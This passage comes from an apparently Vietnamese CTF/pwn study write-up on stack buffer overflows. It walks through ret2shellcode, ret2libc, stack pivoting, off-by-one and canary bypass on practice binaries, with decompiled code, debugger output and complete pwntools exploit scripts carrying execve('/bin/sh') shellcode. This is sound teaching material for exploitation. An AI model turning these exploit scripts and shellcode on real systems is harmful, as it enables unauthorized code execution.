read(0, v4, 0x50uLL);
puts("What do you want for christmas?");
printf("> ");
read(0, v2, 544uLL);
return v4;
}
```
- Tôi kiểm tra thì thấy ở hàm main() mọi thứ diễn ra khá bình thường, nhưng khi vào hàm run() thì tôi phát hiện ở đây v2 được khởi tạo 524 byte nhưng khi đọc vào lại có tới 544 byte --> buffer overflow
```n
#! /usr/bin/python3
from pwn import *
p = process()
shellcode = asm(
'''
mov rax, 0x3b
mov rdi, 29400045130965551
push rdi
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
syscall
''', arch = 'amd64'
)
input()
call_rax = 0x0000000000401014
p.sendafter(b'> ', shellcode)
p.sendafter(b'> ',b'A'*536 + p64(call_rax))
p.interactive()
```
- Tôi sẽ ghi đè return address để nó chuyển hướng thực thi đến shellcode, ở đây tôi dùng thêm gadget call rax để lưu shellcode, và rồi tôi ghi đè return address để nó trỏ đến call_rax mà tôi đã lưu shellcode trước đó, vậy là tôi đã lấy được shell
:::info
ret2shellcode cần leak
:::
- challenge nằm [tại đây](https://drive.google.com/file/d/1bAK9qYRAUCbWlgyEjFgqC_mgcqpu5lhi/view)
- tương tự file lúc nãy thì challenge về các cơ chế bảo mật là y hệt như vậy, giờ tôi sẽ tiến hành dùng ida64 để dịch ngược file này
```n
//hàm get_wish
ssize_t __fastcall get_wish(const char *a1)
{
char buf[512]; // [rsp+0h] [rbp-200h] BYREF
puts("What do you want for christmas?");
printf("> ");
return read(0, buf, 544uLL); // buffer overflow
//
}
//hàm get_name
int get_name()
{
char buf[80]; // [rsp+0h] [rbp-50h] BYREF
puts("What's your name?");
printf("> ");
read(0, buf, 80uLL);
printf("Hello %sI have a message from santa:\n", buf);
puts("----------------------------------------------------------");
puts(
"| Due to your good behavior, I will give you a wish. |\n"
"| You can wish for anything you want and I will give you |\n"
"| that as a gift for being a good boy! |");
return puts("----------------------------------------------------------");
}
```
- Tại hàm get_wish tôi phát hiện lỗi buffer overflow khi buf được khởi tạo 512 byte nhưng khi nhập vào thì lại lên đến 544 byte
- Tại hàm get_name() , thì hàm read() là một hàm khi ta nhập vào một đoạn dữ liệu nó không tự thêm ký tự \0 vào cuối dữ liệu, nên nếu bạn in chuỗi bằng hàm như puts() hoặc printf("%s"), nó sẽ tiếp tục đọc sang vùng nhớ kế tiếp cho đến khi gặp \0.
```
0x00007fffffffdfc0│+0x0000: 0x0000000000000007 ← $rax, $rsp, $rsi
0x00007fffffffdfc8│+0x0008: 0x00007ffff7e1b780 → 0x00000000fbad2887
0x00007fffffffdfd0│+0x0010: 0x00000000004021a6 → 0x0074697845202e33 ("3. Exit"?)
```
- Ví dụ khi ta ghi đè 16 byte vào thì 16 byte này sẽ được ghi đè đến `0x00007fffffffdfc8` thì khi in ra nó sẽ in ra 16 byte ta nhập vào và nối với chuỗi `0x00000000004021a6`để in ra luôn

- Có thể thấy khi đưa 80 byte vào nó sẽ tràn tới `e0a8` và địa chỉ kế tiếp là địa chỉ stack của rbp vậy nếu tôi đưa vào 80 byte thì tôi sẽ leak được địa chỉ stack của rbp
```python
#leak địa chỉ stack
p.sendlineafter(b'> ', b'1')
p.sendafter(b'> ', b'A'*0x50)
p.recvuntil(b'A'*0x50)
stack_leak = u64(p.recv(6) + b'\0\0') #nhận 6byte địa chỉ và thêm vào 2byte null
log.info("stack leak: " + hex(stack_leak))
```
- sau khi đã có địa chỉ stack tôi sẽ tiến hành viết shellcode và đưa shellcode vào stack để thực thi rồi getshell
```python
#shellcode & get shell
shellcode = asm(
'''
mov rbx, 29400045130965551
push rbx
mov rdi, rsp
xor rdx, rdx
xor rsi, rsi
mov rax, 0x3b
syscall
''', arch = 'amd64'
)
payload = shellcode
payload = payload.ljust(536)
payload += p64(stack_leak )
p.sendlineafter(b'> ', b'2')
p.sendafter(b'> ', payload)
```
- Tôi sẽ tiến hành debug động để xem chương trình hoạt động như thế nào

- khi ở hàm get_wish() tôi thấy được là shellcode đang ở `0x00007ffedb2844f0` vì thế tôi sẽ khiến cho ret trỏ vào con trỏ chứa shellcode, để làm được như thế tôi sẽ tính toán khoảng cách từ `stack leak` đến địa chỉ chứa shellcode, ngoài ra khi tôi tiếp tục chương trình

- Sau khi thực hiện ret, chương trình sẽ lấy return address từ stack để nhảy đến, tuy nhiên địa chỉ này lại trỏ vào vùng dữ liệu mà ta đã dùng `payload.ljust` để ghi đè đến save rip , là do ta đã ghi đè lố dẫn đến địa chỉ stack ta cần nhảy đến nó bị đẩy xuống dưới, để khắc phục điều này ta sẽ trừ bớt đi 0x10 byte để cho nó trỏ đến đúng với địa chỉ stack
```python
payload = payload.ljust(536-0x10)
payload += p64(stack_leak - 0x220)
```
Tôi đã thành công lấy được shell ^^, script:
```python
#! /usr/bin/python3
from pwn import *
context.binary = exe = ELF('./bof6', checksec = False)
p = process(exe.path)
#leak địa chỉ stack
p.sendlineafter(b'> ', b'1')
p.sendafter(b'> ', b'A'*0x50)
p.recvuntil(b'A'*0x50)
stack_leak = u64(p.recv(6) + b'\0\0')
log.info("stack leak: " + hex(stack_leak))
#shellcode & get shell
shellcode = asm(
'''
mov rbx, 29400045130965551
push rbx
mov rdi, rsp
xor rdx, rdx
xor rsi, rsi
mov rax, 0x3b
syscall
''', arch = 'amd64'
)
payload = shellcode
payload = payload.ljust(536-0x10)
payload += p64(stack_leak - 0x220)
p.sendlineafter(b'> ', b'2')
p.sendafter(b'> ', payload)
p.interactive()
```
#### Ret2libc ####
:::spoiler tìm hiểu
- Tương tự RET2WIN thì ở kỹ thuật này cũng tận dụng lại các hàm có sẵn trong libc, như là system()
- Cách hoạt động:
+ lợi dụng buffer overflow để ghi đè return address
+ tránh được NX
- Mục tiêu : leak libc address để tính libc base sau đó là dùng hàm system() để thực thi system(/bin/sh)
:::
- khi 1 chương trình sử dụng các thư viện ngoài (như puts và exit của libc), nó sẽ không biết chính xác địa chỉ của các hàm đó, mà thay vào đó nó sẽ sử dụng mốt số section để hổ trợ việc tra địa chỉ thật khi chạy chương trình:
+ **.got (global offset table)**: đây là một bảng lưu địa chỉ thật của các symbol bên ngoài chương trình( bao gồm biến toàn cục, con trỏ hàm, các symbol không gọi qua .plt), khi chạy chương trình linker(trình liên kết động) sẽ điền các địa chỉ thật của hàm vào bảng này
+ **.got.plt** : là phần mở rộng của .got chuyên dùng cho các hàm được gọi qua .plt, ban đầu mỗi ô trong bảng sẽ chứa các địa chỉ quay lại một đoạn mã trong .plt , đoạn mã này sẽ gọi linker để tra địa chỉ thật của hàm, rồi ghi đè địa chỉ thật của hàm vào ô tương ứng trong .got.plt
+ **.plt (procedure linkage table)**: đây là các `đoạn mã`(stub) để gọi các hàm từ bên ngoài, ví dụ khi chương trình gọi puts, nó sẽ không gọi trực tiếp mà thay vào đó nó sẽ nhảy vào stub trong .plt, và stub sẽ kiểm tra xem có địa chỉ trong .got.plt chưa, nếu có thì sẽ nhảy tới đó, còn chưa thì nó sẽ kêu linker để tra địa chỉ và điền vào .got.plt
+ **.plt.got (ít gặp)** : chứa các đoạn mã nhảy đến entry đầu tiên của .got
:::info
Ví dụ gọi hàm puts từ libc
- ban đầu chương trình sẽ không biết địa chỉ thật của các hàm này, nên nó sẽ tạo stub trong .plt và bảng địa chỉ trống trong .got.plt
- khi chương trình chạy lần đầu và gọi puts, nó sẽ nhảy vào stub trong .plt , stub này sẽ kiểm tra bảng .got.plt, nếu chưa có địa chỉ thật sẽ gọi linker để tra cứu địa chỉ thật của hàm puts trong thư viện libc, rồi ghi vào .got.plt
- sau lần gọi đầu tiên, chương trình sẽ chỉ cần nhảy vào .plt, để đọc địa chỉ đã có sẵn trong .got.plt và nhảy thẳng đến hàm puts mà không cần tra cứu lại nữa (nếu địa chỉ thay đổi nó sẽ cập nhật lại địa chỉ mới)
:::
- hàm puts() : khi đặt một địa chỉ vào rdi thì hàm puts sẽ in ra toàn bộ chuỗi đó đến khi gặp ký tự kết thúc \0
- base address libc : là địa chỉ bắt đầu của libc được tính bằng cách
`libc_base = puts_leak - offset_puts`
- Ở đây tôi có một challenge liên quan để thực hiện kỹ thuật này, tải [tại đây](https://drive.google.com/file/d/1R7xxqDlYX3Nesg-JkhMuX2bs2VybDtlz/view)
đầu tiên tôi sẽ kiểm tra checksec và hàm main của file
```n
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[80]; // [rsp+0h] [rbp-50h] BYREF
init(argc, argv, envp);
puts("Say something: ");
read(0, buf, 120uLL);
return 0;
}
```
```p
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
```
ở hàm main tôi thấy buf được khởi tạo với dung lượng là 80 byte nhưng read() lại truyền vào buf lên đến 120 byte gây ra lỗi buffer overflow, và ngoài ra tôi thấy canary không được bật nên có thể dễ dàng ghi đè return address, NX bật nên không thể thực thi shellcode trên stack, vì vậy ta tận dụng hàm system trong libc để thực thi `/bin/sh` ,trước tiên để leak địa chỉ puts() tôi sẽ đi tìm offset đến save RIP
```n
gef➤ pattern search 0x00007fffffffe0a8
[+] Searching for '6c61616161616161'/'616161616161616c' with period=8
[+] Found at offset 88 (little-endian search) likely
```
tôi tìm được offset = 88 byte nên tôi sẽ tìm thêm gadget của pop rdi để lấy arg 1 rồi sau đó sẽ dùng pwntool để ghi đè return address sau đó leak địa chỉ puts trong GOT để tính libc_base, sau khi đã có libc_base tôi có thể dễ dàng để tìm địa chỉ của hàm system() để thực thi system('/bin/sh')
```python
#!/usr/bin/python3
from pwn import *
libc = ELF('./libc6_2.19-4ubuntu1_amd64.so', checksec = False)
exe = ELF('./bof7_patched', checksec = False)
pop_rdi = 0x0000000000401263
p= process('./bof7_patched')
#leak libc address
payload = b'A'*88
payload += p64(pop_rdi) + p64(exe.got['puts'])
payload += p64(exe.plt['puts'])
payload += p64(exe.sym['main'])
p.sendafter(b'something: \n', payload)
libc_leak = u64(p.recv(6) + b'\x00\x00')
libc.address = libc_leak - libc.sym['puts']
log.info('libc leak = ' + hex(libc_leak))
#get shell
payload = b'A'*88
payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh')))
payload += p64(libc.sym['system'])
p.sendafter(b'something: \n', payload)
p.interactive()
```
- GIẢI THÍCH SCRIPT: script trên được chia làm 2 phần chính
+ **Ở phần đầu tiên là leak địa chỉ libc:** sau khi đưa 88byte vào chương trình để gây ra lỗi buffet overflow và đủ để ghi đè save rip, sau đó dùng pop rdi, ret để đưa địa chỉ puts@GOT vào thanh ghi rdi, tiếp theo dùng puts@PLT để in ra địa chỉ thực của puts, sau đó quay về hàm main để tiếp tục chương trình. Sau khỉ gửi payload đến chương trình, nó sẽ leak địa chỉ hàm puts ra nhưng địa chỉ này chỉ có 6 byte nên dùng `p.recv(6)` để nhận 6 byte và công thêm 2 byte nữa để địa chỉ đủ 8 byte, sau đó là tính `libc.address`
+ Phần thứ 2 là thực thi hàm system('/bin/sh'), tương tự các bài đầu, tôi đưa vào chương trình 88 byte để đến được save rip rồi ghi đè '/bin/sh' vào rdi , sau đó là gọi hàm system trong libc để thực thi. Và tôi đã thành công lấy được shell
```n
hinn@Ninh:/mnt/d/laptrinh/CTF/challenge/bof7/player$ ./solve.py
[+] Starting local process './bof7_patched': pid 2630
[*] libc leak = 0x7c25c2422e50
[*] Switching to interactive mode
$ ls
bof7 ld-2.19.so libc6_2.19-4ubuntu1_amd64.so
bof7_patched libc.so.6 solve.py
$
```
#### Stack pivot ####
:::info
Chuyển hướng luồng thực thi
:::
Tải challenge [tại đây](https://drive.google.com/file/d/1F450TwAE7FUH7MeTFo2die89ZQ8-Y9Lu/view)
- Sau khi tôi tải challenge về và kiểm tra bằng ida64 , ở đây buf được khởi tạo 2 byte nhưng khi read() nhập vào buf cũng là 2 byte nên không có lỗi ở đây, khi chạy chương trình nó sẽ in ra 3 dòng buy, sell, exit với điều kiện là nhập 1 --> nhảy vào hàm buy, nhập 2 --> nhảy vào hàm sell, nhập 3 --> kết thúc chương trình
```n
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[2]; // [rsp+Eh] [rbp-2h] BYREF
init(argc, argv, envp);
qword_404850 = (__int64)win;
puts("Welcome human!");
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts("1. Buy");
puts("2. Sell");
puts("3. Exit");
printf("> ");
read(0, buf, 2uLL);
if ( buf[0] != '1' )
break;
buy();
}
if ( buf[0] != '2' )
break;
sell();
}
if ( buf[0] == '3' )
break;
puts("Invalid choice!");
}
puts("Thanks for coming!");
return 0;
}
```
- tôi thấy biến toàn cục qword_404850 tại địa chỉ 0x404850 được khởi tạo và gán cho địa chỉ hàm win, nhưng khi tôi kiểm tra hàm win thì thấy đây là một hàm thực thi system('/bin/sh'), vậy nên mục tiêu của bài này là tôi sẽ làm cách nào đó để có thể đến được hàm win này để lấy shell
```n
__int64 buy()
{
__int64 result; // rax
char buf[28]; // [rsp+0h] [rbp-20h] BYREF
int v2; // [rsp+1Ch] [rbp-4h]
v2 = 0;
puts("1. Apple");
puts("2. Banana");
puts("3. Cambridge IELTS Volumn 4");
printf("> ");
v2 = read(0, buf, 40uLL);
result = (unsigned __int8)buf[v2 - 1];
if ( (_BYTE)result == 10 )
{
result = v2 - 1;
buf[result] = 0;
}
return result;
}
```
- xuống dưới sau khi kiểm tra hàm buy() và hàm sell(), thì tôi phát hiện hàm buy() có lỗi buffer overflow , khi char được khởi tạo 28 byte nhưng read() lại đọc vào tới 40 byte, vậy nên tôi sẽ thử đưa vào chương trình này 40 byte xem có thể làm được gì
```n
$rbp : 0x6161616161616165 ("eaaaaaaa"?)
$rsi : 0x6161616161616163 ("caaaaaaa"?)
$rdi : 0x0
$rip : 0x0000000000401311 → <main+007b> movzx eax, BYTE PTR [rbp-0x2]
```
- Có thể thấy con trỏ rbp đã bị thay đổi, tuy nhiên `0x6161616161616165` đây là một địa chỉ không hợp lệ, nên khi leave chạy thì RSP sẽ trỏ đến một vùng không hợp lệ khiến cho chương trình bị crash , vậy nên tôi sẽ ghi đè một địa chỉ hợp lệ lên rbp để cho chương trình hoạt động một cách bình thường
```n
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./bof8', checksec = False)
p = process ('./bof8')
p.sendlineafter(b'> ', b'1')
payload = b'A'*32
payload += p64(0x0000000000404000)
p.sendafter(b'> ', payload)
p.interactive()
```
- Tôi đã dùng một địa chỉ hợp lệ có quyển R_W_ để ghi đè vào RBP, tuy nhiên sau khi hàm buy thực hiện leave(), ret nó sẽ `movzx eax, BYTE PTR [rbp-0x2]` có nghĩa là rbp sẽ trừ đi 2 byte vậy khiến cho địa chỉ của tôi đưa vào không còn đúng địa chỉ mà tôi muốn nữa nên tôi sẽ sửa địa chỉ đó thành `payload += p64(0x0000000000404a00)` , bây giờ tôi sẽ debug để xem nó hoạt động như thế nào
trước khi truyền tham số vào, thì save rbp là
`0x00007ffeee8de4c0│+0x0020: 0x00007ffeee8de4e0`
nhưng sau khi truyền payload vào thì địa chỉ save rbp trong hàm buy() đã bị thay đổi thành
`0x00007ffeee8de4c0│+0x0020: 0x0000000000404a00`
tôi kiểm tra lại hàm main thì thấy địa chỉ rbp cũng đã được thay đổi
```n
$rsp : 0x00007ffc366a43e0 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
$rbp : 0x00007ffc366a4400 → 0x0000000000404a00 → add BYTE PTR [rax], al
$rsi : 0x00007ffc366a43e0 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
```
- vậy nếu tôi thay địa chỉ thành địa chỉ của hàm win() tôi đã tìm được ở địa chỉ `0x0000000000404850` thì sao
```n
0x0000000000404858│+0x0000: <what_is_this+07f8> add BYTE PTR [rax], al ← $rsp
```
- Thì rsp lúc này lại trỏ vào `0x404858` tại sao nó lại như vậy, đó là do lệnh leave(),ret ở hàm buy nên khiến cho địa chỉ tăng lên, vậy để cho nó nhảy vào `0x404850` thì ta cần giảm địa chỉ lại thành `0x404848` , sau khi sửa xong thì tôi chạy lại chương trình thì thấy nó đã có thể nhảy vào ham win() và get shell
```n
0x401365 <main+00cf> ret
↳ 0x401366 <win+0000> endbr64
0x40136a <win+0004> push rbp
0x40136b <win+0005> mov rbp, rsp
0x40136e <win+0008> lea rdi, [rip+0xd21] # 0x402096
0x401375 <win+000f> call 0x4010a0 <system@plt>
0x40137a <win+0014> nop
```
:::info
Thay đổi biến
:::
challenge tôi thực hiện [ở đây](https://drive.google.com/file/d/1vS221aISmUI3ACPG50KuogOgovMQ69Kc/view)
```n
int __cdecl main(int argc, const char **argv, const char **envp)
{
_QWORD v4[4]; // [rsp+0h] [rbp-20h] BYREF
v4[0] = 1094795585LL;
v4[1] = 1111638594LL;
v4[2] = 1128481603LL;
init(argc, argv, envp);
printf("Gift for new user: %p\n", v4);
get_credential();
if ( v4[0] == 0x13371337LL && *(_OWORD *)&v4[1] == __PAIR128__(0xCAFEBABELL, 0xDEADBEEFLL) )
{
system("/bin/sh");
}
else
{
puts("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!");
puts("!!! Unauthorized access is forbidden !!!");
puts("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!");
}
return 0;
}
```
- Sau khi kiểm tra hàm main() bằng ida64 tôi thấy ngay được mục tiêu của chúng ta đó là hàm system("/bin/sh"), nhưng làm cách nào để thay đổi được mảng v4 để thành giá trị phù hợp, thì trước tôi kiểm tra hàm get_credential() để xem có gì không, nhưng trước tiên tôi thấy được là hàm printf() nó lại in ra địa chỉ của mảng v4 trên stack, nên tôi sẽ dùng địa chỉ này để ghi đè lên v4
```n
ssize_t get_credential()
{
__int64 v1[4]; // [rsp+0h] [rbp-40h] BYREF
__int64 buf[4]; // [rsp+20h] [rbp-20h] BYREF
memset(buf, 0, sizeof(buf));
memset(v1, 0, sizeof(v1));
write(1, "Username: ", 10uLL);
read(0, buf, 34uLL);
write(1, "Password: ", 10uLL);
return read(0, v1, 32uLL);
}
```
- ở đây được khởi tạo 2 mảng có 4 phần tử mỗi mảng được khởi tạo với kiểu số nguyên 64bit = 8byte mà vì có 4 phần tử nên mảng này chứa tối đa là 4 x 8 = 32byte, mà ở khúc nhập username thì lại đọc cho buf lên tới 34 byte -> buffer overflow, tôi không biết nó có tác dụng gì nên tôi sẽ thử đưa 34 byte vào hàm read() trong get_credential() để xem có sự thay đổi gì không
```n
0x00007fffffffe0a0│+0x0040: 0x00007fffffffe0d0 → 0x0000000000000001 ← $rbp
```
- đây là địa chỉ ban đầu của rbp trong hàm get_credential nhưng sau khi tôi đưa vào 34byte
```n
0x00007fffffffe0a0│+0x0040: 0x00007fffffff6165 → 0x0000000000000000 ← $rbp
```
- Nó đã làm thay đổi 2 byte cuối `e0d0 --> 6165` bất ngờ là khi tôi cho chương trình tiếp tục chạy tới ret của hàm get_credential() thì địa chỉ rbp của hàm main() cũng bị thay đổi thành `0x00007fffffff6165` đây chính là địa chỉ rbp của hàm get_credential() sau khi tôi ghi đè, vậy thì tôi sẽ tạo một cái mảng fake để rbp trỏ vào khiến cho thiết lập các biến v4[0], v4[1],v4[2] đúng với giá trị để if thực hiện gọi lênh `system('/bin/sh')`, ở đây tôi sẽ dùng username để làm mảng fake đó
```n
0x00007fffffffe070│+0x0020: 0x0000000000000000 ← $rax, $rsi
```
- Khi tôi đặt breakpoint ở hàm read() đầu tiên trong hàm get_credential() đó là hàm của username thì tôi thấy rsi trỏ vào địa chỉ trên, đó chính là địa chỉ của username vì dựa theo kiến trúc máy tính x86_64 thì rsi chính là tham số thứ 2 mà tham số thứ 2 ở hàm `read(0, buf, 34uLL);` chính là buf nên nó sẽ là địa chỉ của username mà địa chỉ v4 đc leak ra là `0x00007fffffffe0a0` nên nó cách nhau 0x30 byte
```n
0x401314 <main+0050> mov rax, QWORD PTR [rbp-0x20]
```
- Tuy nhiên khi từ hàm get_credential() nhảy ra hàm main() thì rbp bị trừ đi 0x20 byte nên việc để cho rbp trỏ đến đúng địa chỉ của username thì ta cần phải cộng thêm 0x20 byte `fake_rbp = username_addr + 0x20` và địa chỉ của username tôi sẽ tạo ra 1 mảng bảo gồm :
```python
payload = p64(0x13371337)
payload += p64(0xDEADBEEF)
payload += p64(0xCAFEBABE)
```
- Mặc dù đây là các giá trị 32bit nhưng đây là một chương trình 64bit nên tôi vẫn dùng p64 để nó sẽ tự động điền 4byte còn lại ở trước mỗi giá trị, bây giờ tôi sẽ chạy thử để gửi vào chương trình
```n
0x00007ffcb4e49ad0│+0x0020: 0x0000000013371337
0x00007ffcb4e49ad8│+0x0028: 0x00000000deadbeef
0x00007ffcb4e49ae0│+0x0030: 0x00000000cafebabe
0x00007ffcb4e49ae8│+0x0038: 0x000000000000000a ("\n"?)
0x00007ffcb4e49af0│+0x0040: 0x00007ffcb4e49b20 → 0x0000000000000001 ← $rbp
```
- sau khi kiểm tra thì tôi thấy nó đã có đủ dữ liệu cho từng phần từ trong mảng v4 tuy nhiên vẫn chưa đủ tới được rbp để ghi đè, nên tôi sẽ truyền thêm cho nó một dữ liệu nào đó cho đủ để tới được rbp, cuối cùng tôi sẽ ghi đè rbp bằng một cái địa chỉ fake lúc nãy tôi đã set sẵn rồi chạy chương trình và lấy shell
```python
#! /usr/bin/python
from pwn import *
context.binary = exe = ELF('./bof9', checksec = False)
p = process('./bof9')
p.recvuntil(b'Gift for new user: ')
stack_leak = int(p.recvline(), 16)
log.info("stack leak: " + hex(stack_leak))
input()
username_addr = stack_leak - 0x30
fake_rbp = username_addr + 0x20
payload = p64(0x13371337)
payload += p64(0xDEADBEEF)
payload += p64(0xCAFEBABE)
payload += p64(0)
payload += p64(fake_rbp)[:2] #[:2] là để lấy mỗi 2byte cuối
p.sendlineafter(b'Username: ', payload)
p.interactive()
```
#### Off by one ####
ở đây tôi có một challenge [tại đây](https://drive.google.com/file/d/1azcBY_ktdcwn-pXfyeYUDVC4Te-QAR3D/view)
- Sau khi tải về tôi tiến hành kiểm tra checksec và dùng ida64 để dịch ngược file thực thi này
```n
RELRO: Full RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
```
- Có thể thấy ở đây chương trình đã bật full relro có nghĩa là ta sẽ không thể ghi đè địa chỉ hàm Puts@GOT, ngoài ra các cơ chế bảo mật còn lại đều tắt, lưu ý ở đây chính là về canary và nx. Vì cả 2 đã tắt nên ta có thể thực hiện các kỹ thuật buffer overflow và nx tắt nên ta có thể ghi shellcode lên stack để thực thi. Kế tiếp tôi kiểm tra chương trinh:
```
int __cdecl main(int argc, const char **argv, const char **envp)
{
char name[80]; // [rsp+0h] [rbp-50h] BYREF
memset(name, 0, sizeof(name));
init(argc, argv, envp);
puts("What's your name?");
printf("Your name: ");
fgets(name, 0x50, stdin);
puts("\nNice to meet you, let's play a game that I will repeat what you say");
printf("Ah before we start, I have a gift for you: %p\n", name);
play_game("Ah before we start, I have a gift for you: %p\n");
return 0;
}
```
- ở đây name là một buffer 80 byte nhưng hàm fgets() nhập vào tối đa là 80 byte trong đó có 79 byte đầu và 1 byte cuối là null byte, vậy là ở đây không có lỗi buffer overflow nào. Ngoài ra ở hàm printf() có %p nó sẽ giúp chúng ta leak địa chỉ stack ra, chúng ta sẽ dựa vào điều này để tìm ra lỗ hỏng, kế tiếp tôi sẽ kiểm tra các hàm còn lại xem có gì đáng nghi hay không
```n
int __fastcall play_game(const char *a1)
{
char s[512]; // [rsp+0h] [rbp-200h] BYREF
memset(s, 0, sizeof(s));
printf("Say something: ");
__isoc99_scanf("%512s", s);
printf("You said: ");
return puts(s);
}
```
- ở hàm play_game tôi thấy s được khởi tạo 512 byte và được scanf ghi vào 512 byte, tuy nhiên có một lưu ý ở đây đó chính là scanf sẽ ghi đủ 512 byte và nó sẽ thêm 1 byte null nữa điều này gây ra buffer overflow, tôi sẽ debug thử xem nó thay đổi như thế nào khi đưa vào 512 byte, đây là trước khi tôi đưa 512 byte vào:
```n
0x00007fffffffe068│+0x01f8: 0x0000000000000000
0x00007fffffffe070│+0x0200: 0x00007fffffffe0d0 → 0x0000000000000001 ← $rbp
0x00007fffffffe078│+0x0208: 0x0000000000401351 → <main+00c9> mov eax, 0x0
```
- sau khi tôi đưa 512 byte vào :


- Có thể thấy ở byte cuối cùng của rbp đã bị ghi đè thành byte null (0x00), tuy nhiên sự thay đổi địa chỉ đó chỉ ở hàm main (màu tím) nên lỗi này sẽ chỉ xày ra khi ở hàm main
- Đầu tiên tôi sẽ lấy stack leak thông qua hàm printf() trong main()
```python
#leak địa chỉ stack
p.sendlineafter(b'name: ', b'A'*8)
p.recvuntil(b'I have a gift for you: ')
stack_leak = int(p.recvline(), 16)
log.info("stack leak: " + hex(stack_leak))
```
- Sau khi có được địa chỉ stack tôi sẽ đưa shellcode vào, ở đây tôi sẽ sử dụng kỹ thuật NOP sled
:::spoiler kỹ thuật NOP sled là gì
- Đây là một kỹ thuật, khi tạo một vùng đệm bao gồm nhiều lệnh NOP (0x90) - lệnh ret, trước shellcode, thì khi chương trình chạy mà nhảy vào một vị trí nào bất kì trong vùng NOP này nó sẽ liên tục 'trượt' qua các lệnh NOP để đến được shellcode
:::
```n
shellcode = asm(
'''
mov rbx, 29400045130965551
push rbx
mov rdi, rsp
xor rdx, rdx
xor rsi, rsi
mov rax, 0x3b
syscall
''', arch='amd64')
payload = p64(0x0000000000401357)*0x30 #0x0000000000401357 : ret
payload += p64(0xdeadbeef)
payload += shellcode
payload = payload.ljust(512, b'\0')
p.sendlineafter(b'Say something: ', payload)
```
- Ở đây sau khi đưa `ret` vào để áp dụng kỹ thuật NOP sled thì tôi đưa thêm 1 địa chỉ `0xdeadbeef` vào trước địa chỉ stack để tôi có thể biết được là địa chỉ stack sẽ nằm ở đâu khi tôi debug

- ở đây có thể thấy là địa chỉ shellcode nằm bên dưới `0xdeadbeef` vậy bây giờ chỉ việc tính offset từ địa chỉ stack trỏ đến shellcode và thay thế lại `0xdeadbeed = stack_lead - offset`, thì tôi tính được offset = 0x88 --> `payload += p64(stack_leak - 0x88)`

- như vậy địa chỉ stack đã trỏ tới vùng chứa shellcode , nhờ việc tôi đã overwrite 1 byte của địa chỉ rbp nên sẽ khiến cho chương trình không lấy return address ban đầu mà lại lấy địa chỉ mới thấp hơn ban đầu để `ret` vào , mà vùng thấp hơn đó tôi đã đưa vào 1 đống `ret` để cho chương trình có thể nhảy vào shellcode mà tôi đã đặt trước đó (kỹ thuật NOP sled)
- script:
```python
#! /usr/bin/python3
from pwn import *
context.binary = exe = ELF ('./bof10', checksec = False)
p = process('./bof10')
input()
#leak địa chỉ stack
p.sendlineafter(b'name: ', b'A'*8)
p.recvuntil(b'I have a gift for you: ')
stack_leak = int(p.recvline(), 16)
log.info("stack leak: " + hex(stack_leak))
# shellcode & get shell
shellcode = asm(
'''
mov rbx, 29400045130965551
push rbx
mov rdi, rsp
xor rdx, rdx
xor rsi, rsi
mov rax, 0x3b
syscall
''', arch='amd64')
payload = p64(0x0000000000401357)*0x30 #0x0000000000401357 : ret
payload += p64(stack_leak - 0x88)
payload += shellcode
payload = payload.ljust(0x200, b'A')
p.sendlineafter(b'Say something: ', payload)
p.interactive()
```
#### bypass canary ####
:::spoiler Ý tưởng
- Để bảo vệ khỏi lỗi buffer overflow, chương trình sử dụng cơ chế bảo mật gọi là stack canary. Giá trị canary này được đặt ngay trước địa chỉ lưu thanh ghi rbp trong stack frame. Khi chương trình kết thúc hàm, nó sẽ kiểm tra xem giá trị canary có bị thay đổi hay không. Nếu bị thay đổi, chương trình sẽ phát hiện có lỗi tràn bộ nhớ và sẽ thoát ngay lập tức.

- Do đó, để vượt qua cơ chế bảo vệ này, ta cần leak được giá trị canary hiện tại trong stack. Sau khi có được giá trị này, ta có thể ghi đè dữ liệu lên stack (bao gồm cả canary) mà không làm thay đổi giá trị canary — bằng cách ghi đúng giá trị đã leak vào vị trí canary. Như vậy, chương trình sẽ không phát hiện ra lỗi và ta có thể tiếp tục khai thác.
:::
- Ở đây tôi có một challenge [canary](https://drive.google.com/file/d/1wjVizPL9HnB35goBQHxR6EwoWM55306B/view)
- Tôi sẽ tiến hành kiểm tra checksec và dùng ida64 để dịch ngược chương trình
```n
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
```
``` he
// hàm main
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 name[4]; // [rsp+0h] [rbp-130h] BYREF
__int64 feedback[34]; // [rsp+20h] [rbp-110h] BYREF
feedback[33] = __readfsqword(0x28u);
memset(name, 0, sizeof(name));
memset(feedback, 0, 256);
init(argc, argv, envp);
printf("Your name: ");
read(0, name, 0x200uLL);
printf("Hello %s\n", (const char *)name);
printf("Your feedback: ");
read(0, feedback, 0x200uLL);
puts("Thank you for your feedback!");
return 0;
}
// hàm win
int win()
{
return system("/bin/sh");
}
```
- Ở thử thách này canary sẽ được bật vì thế nên ta sẽ bypass nó rồi tiến hành overwrite save rip đến hàm win
- địa chỉ của canary sẽ luôn thay đổi ở 7byte đầu và byte cuối cùng được giữ nguyên ở dạng `\0x00` vì thế nên ta cần phải leak địa chỉ canary ra bằng cách lợi dụng hàm read() vì nó không thêm `\0` ở cuối cùng nên ta sẽ overwrite đến byte đầu tiên của canary để nối liền với 7byte đầu của địa chỉ canary, sau đó sẽ leak địa chỉ canary ra
```python
payload = b'A'*(297) #offset tới byte đầu tiên của canary
p.sendafter(b'name: ', payload)
p.recvuntil(b'A'*(297))
canary = u64(b'\0' + p.recv(7)) #nhận thêm 1 null byte và nhận 7 byte canary
log.info("canary leak: " + hex(canary))
```
